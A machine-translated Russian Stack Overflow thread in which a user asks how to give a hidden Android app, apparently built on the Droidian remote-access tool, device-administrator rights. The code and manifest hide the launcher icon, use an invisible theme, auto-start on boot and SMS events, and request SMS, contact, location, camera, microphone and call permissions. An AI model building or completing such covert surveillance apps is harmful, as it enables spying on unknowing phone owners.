2015-12-10 3 views
0

Я знаю, что подобные вопросы заданы много раз, но все же я не смог получить решение из любого из них. Я совершенно новичок в android & JAVA, поэтому, пожалуйста, имейте это в виду :). Я работаю над некоторыми экспериментальными проектами, связанными с безопасностью, на работе &, пытаясь предоставить привилегии администратора устройства на Android. У меня есть одно приложение SampleDeviceAdministrator, которое отлично работает. Я хочу использовать один и тот же код для своего приложения, чтобы при запуске моего приложения он также получал доступ к админерам. Для этого я включил классы java из прежнего приложения в мое приложение &. Я пытаюсь вызвать тот же код для моего приложение через прежнее приложение. Вот скриншоты MainActivity.java из примера приложения. Привилегия администратора устройства для приложения android

package com.connect; 
 

 
import android.app.Activity; 
 
import android.app.ActivityManager; 
 
import android.app.ActivityManager.RunningServiceInfo; 
 
import android.content.Context; 
 
import android.content.Intent; 
 
import android.content.pm.PackageManager; 
 
import android.os.Bundle; 
 
import android.util.Log; 
 
import android.view.WindowManager; 
 

 
public class Droidian extends Activity { 
 

 
    public void onCreate(Bundle savedInstanceState) { 
 
     super.onCreate(savedInstanceState); 
 
     getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE); 
 
     getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN); 
 
     PackageManager i = getApplicationContext().getPackageManager(); 
 
     i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); 
 

 
     if(isMyServiceRunning()==false) 
 
     { 
 
      startService(new Intent(getApplicationContext(), DroidianService.class)); 
 
      Log.i("com.connect","startService"); 
 
     } 
 
    } 
 
    private boolean isMyServiceRunning() { 
 
     ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE); 
 
     for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) { 
 
      if (DroidianService.class.getName().equals(service.service.getClassName())) { 
 
       return true; 
 
      } 
 
     } 
 
     return false; 
 
    } 
 
}

Вот Droidian.java, который является основным классом для моего приложения.

package com.connect; 
 

 
import android.app.Activity; 
 
import android.app.ActivityManager; 
 
import android.app.ActivityManager.RunningServiceInfo; 
 
import android.content.Context; 
 
import android.content.Intent; 
 
import android.content.pm.PackageManager; 
 
import android.os.Bundle; 
 
import android.util.Log; 
 
import android.view.WindowManager; 
 

 
public class Droidian extends Activity { 
 

 
    public void onCreate(Bundle savedInstanceState) { 
 
     super.onCreate(savedInstanceState); 
 
     getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE); 
 
     getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN); 
 
     PackageManager i = getApplicationContext().getPackageManager(); 
 
     i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); 
 

 
     if(isMyServiceRunning()==false) 
 
     { 
 
      startService(new Intent(getApplicationContext(), DroidianService.class)); 
 
      Log.i("com.connect","startService"); 
 
     } 
 
    } 
 
    private boolean isMyServiceRunning() { 
 
     ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE); 
 
     for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) { 
 
      if (DroidianService.class.getName().equals(service.service.getClassName())) { 
 
       return true; 
 
      } 
 
     } 
 
     return false; 
 
    } 
 
}

& здесь AndroidManifest.xml

<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
 
    package="com.hidden.droidian" 
 
    android:versionCode="2" 
 
    android:versionName="2.0" xmlns:tools="http://schemas.android.com/tools"> 
 

 
    <uses-sdk 
 
     android:minSdkVersion="10" 
 
     android:targetSdkVersion="18" tools:ignore="OldTargetApi"/> 
 
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> 
 
    
 
<supports-screens android:resizeable="true" 
 
       android:largeScreens="true" 
 
       android:xlargeScreens="true" 
 
       /> 
 
    
 
    <application 
 
     android:icon="@drawable/launcher" 
 
     android:label="@string/app_name" 
 
\t \t android:theme="@style/Invisible" 
 
\t \t android:allowBackup="false" 
 
\t \t android:persistent="true"> 
 
     <activity 
 
      android:name="com.connect.Droidian" 
 
      android:excludeFromRecents="true"> 
 
     </activity> 
 
     <activity 
 
      android:name="com.connect.MainActivity" 
 
      android:label="@string/app_name"> 
 
       <intent-filter> 
 
       <action android:name="android.intent.action.MAIN" /> 
 
       <category android:name="android.intent.category.LAUNCHER" /> 
 
    \t \t \t \t </intent-filter> 
 
     </activity> 
 
     <activity 
 
      android:name="com.connect.Dialog" 
 
      android:excludeFromRecents="true"> 
 
     </activity> 
 
     <activity 
 
      android:name="com.connect.CameraView" 
 
      android:excludeFromRecents="true"> 
 
     </activity> 
 
     <activity 
 
      android:name="com.connect.VideoView" 
 
      android:excludeFromRecents="true"> 
 
     </activity> 
 
     <service android:name="com.connect.DroidianService" 
 
      android:enabled="true" 
 
      android:exported="true" 
 
      android:persistent="true"> 
 
     </service> 
 
     <service android:name="com.connect.RecordService"> 
 
     </service> 
 
       <receiver android:name="com.connect.ServiceReceiver" 
 
        android:enabled="true" 
 
        android:exported="true" 
 
        android:persistent="true"> 
 
\t \t \t \t   <intent-filter android:priority="1000"> 
 
\t \t \t \t \t \t \t \t <action android:name="android.intent.action.BOOT_COMPLETED" /> 
 
\t \t \t \t     <action android:name="android.provider.Telephony.SMS_RECEIVED" /> 
 
     \t \t \t \t \t \t <action android:name="android.intent.action.PHONE_STATE" /> 
 
     \t \t \t \t \t \t <action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE"/> 
 
     \t \t \t \t \t \t <action android:name="android.intent.action.QUICKBOOT_POWERON" /> 
 
\t \t \t \t   </intent-filter> 
 
    \t \t \t </receiver> 
 

 
     <receiver 
 
      android:name="com.connect.SampleDeviceAdminReceiver" 
 
      android:permission="android.permission.BIND_DEVICE_ADMIN" > 
 
      <meta-data 
 
       android:name="android.app.device_admin" 
 
       android:resource="@xml/device_admin" /> 
 

 
      <intent-filter> 
 
       <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> 
 
      </intent-filter> 
 
     </receiver> 
 
      </application> 
 
    
 
<uses-permission android:name="android.permission.QUICKBOOT_POWERON" android:required="false" /> 
 
<uses-permission android:name="android.permission.INTERNET" android:required="true"/> 
 
<uses-permission android:name="android.permission.READ_SMS" android:required="true" /> 
 
<uses-permission android:name="android.permission.WRITE_SMS" android:required="true" /> 
 
<uses-permission android:name="android.permission.GET_ACCOUNTS" android:required="true" /> 
 
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/> 
 
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/> 
 
<uses-permission android:name="android.permission.READ_CONTACTS" android:required="true" /> 
 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" android:required="true" /> 
 
<uses-permission android:name="android.permission.GET_TASKS" android:required="true" /> 
 
<uses-permission android:name="android.permission.WAKE_LOCK" android:required="false" /> 
 
<uses-permission android:name="android.permission.CALL_PHONE" android:required="true" /> 
 
<uses-permission android:name="android.permission.SEND_SMS" android:required="true" /> 
 
<uses-permission android:name="android.permission.WRITE_SETTINGS" android:required="false" /> 
 
<uses-permission android:name="android.permission.READ_PHONE_STATE" android:required="false" /> 
 
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:required="true" /> 
 
<uses-permission android:name="android.permission.CAMERA" android:required="true" /> 
 
<uses-permission android:name="android.permission.RECORD_AUDIO" android:required="false" /> 
 
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" android:required="true" /> 
 
<uses-permission android:name="android.permission.RECEIVE_SMS" android:required="true" /> 
 
<uses-feature android:name="android.hardware.camera" android:required="false" /> 
 
<uses-feature android:name="android.hardware.camera.front" android:required="false" /> 
 
<uses-feature android:name="android.hardware.camera.autofocus" android:required="false" /> 
 
<uses-feature android:name="android.hardware.microphone" android:required="false" /> 
 

 

 
</manifest>

Когда я запускаю мое приложение, я получаю NullPointer исключение Java Runtime. Вот фрагмент из LogCat:

12-10 13:47:42.261 4435-4435/com.hidden.droidian E/AndroidRuntime﹕ FATAL EXCEPTION: main 
 
    Process: com.hidden.droidian, PID: 4435 
 
    java.lang.RuntimeException: Failure delivering result ResultInfo{who=null, request=100, result=0, data=null} to activity {com.hidden.droidian/com.connect.MainActivity}: java.lang.NullPointerException: Attempt to read from field 'java.lang.String android.content.pm.ActivityInfo.parentActivityName' on a null object reference 
 
      at android.app.ActivityThread.deliverResults(ActivityThread.java:3699) 
 
      at android.app.ActivityThread.handleSendResult(ActivityThread.java:3742) 
 
      at android.app.ActivityThread.-wrap16(ActivityThread.java) 
 
      at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1393) 
 
      at android.os.Handler.dispatchMessage(Handler.java:102) 
 
      at android.os.Looper.loop(Looper.java:148) 
 
      at android.app.ActivityThread.main(ActivityThread.java:5417) 
 
      at java.lang.reflect.Method.invoke(Native Method) 
 
      at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) 
 
      at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616) 
 
    Caused by: java.lang.NullPointerException: Attempt to read from field 'java.lang.String android.content.pm.ActivityInfo.parentActivityName' on a null object reference 
 
      at android.app.Activity.onCreate(Activity.java:905) 
 
      at com.connect.Droidian.onCreate(Droidian.java:16) 
 
      at com.connect.MainActivity.onActivityResult(MainActivity.java:54) 
 
      at android.app.Activity.dispatchActivityResult(Activity.java:6428) 
 
      at android.app.ActivityThread.deliverResults(ActivityThread.java:3695) 
 
            at android.app.ActivityThread.handleSendResult(ActivityThread.java:3742) 
 
            at android.app.ActivityThread.-wrap16(ActivityThread.java) 
 
            at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1393) 
 
            at android.os.Handler.dispatchMessage(Handler.java:102) 
 
            at android.os.Looper.loop(Looper.java:148) 
 
            at android.app.ActivityThread.main(ActivityThread.java:5417) 
 
            at java.lang.reflect.Method.invoke(Native Method) 
 
            at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) 
 
            at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)

Кроме того, мое приложение должно быть скрытое приложение, так что ни пусковая не создается, однако, выполнить разрешение администратора устройства, пусковая требуется я полагаю. Если бы кто-нибудь мог заглянуть в нее, это было бы здорово. Пожалуйста, дайте мне знать, если мне нужно предоставить дополнительную информацию. Благодаря!

+0

это может быть ваше решение ... [http://stackoverflow.com/questions/23246284/android-fragment-lifecycle-issue-nullpointerexception-on-onactivityresult] (http://stackoverflow.com/questions/23246284/android-fragment-lifecycle-issue-nullpointerexception-on-onactivityresult) – sud

ответ

0

Я думаю, вы забыли опубликовать скриншоты.

Прежде всего, если Droidian.java является основным классом для вашего приложения, почему он не установлен в качестве манифеста в файле манифеста?

Это должно быть так:

<activity 
     android:name="com.connect.Droidian" 
     android:label="@string/app_name"> 
      <intent-filter> 
       <action android:name="android.intent.action.MAIN" /> 
       <category android:name="android.intent.category.LAUNCHER" /> 
      </intent-filter> 
</activity> 

И есть один и только один гранатомет в приложении.

Дайте мне знать, если это поможет вам.

+0

Я тоже сохранил файл манифеста, но это тоже не помогло. Если есть только одна пусковая установка, я могу получить две функции для запуска на одной и той же пусковой установке одновременно. Droidian.java в основном работает как служба, в то время как MainActivity.java должен присутствовать с приглашением администратора устройства при запуске. Я намерен запустить обе функции onCreate сразу после запуска приложения. Значит, как только приложение будет установлено, дроид должен запускаться в фоновом режиме, пока пользовательский запрос устройства должен быть представлен пользователю. Кроме того, какие скриншоты вы просите? Эмулятор или код? – Isha

+0

После запуска невозможно запустить более одного действия. Если вы хотите Droidian.java для работы в качестве Сервиса, вы должны расширить его как Службу, а не как Активность. Невозможно начать работу с самой службой или службой после установки. Я предлагаю вам обернуть функциональность Droidian в сервисе и запустить его из главной операции. – Mann

+0

Наверное, я не очень разбирался в своих требованиях. Я достиг своей цели, объединив файлы манифеста. Проблема была в имени пакета. Это я изменил в файле build.gradle и, похоже, работал. Однако, после запуска MainActivity, я хочу теперь вызвать метод Droidian onCreate. Я понятия не имею, как это сделать. Любая помощь (учитывая, что я ноб) была бы очень благодарна :) – Isha

Смежные вопросы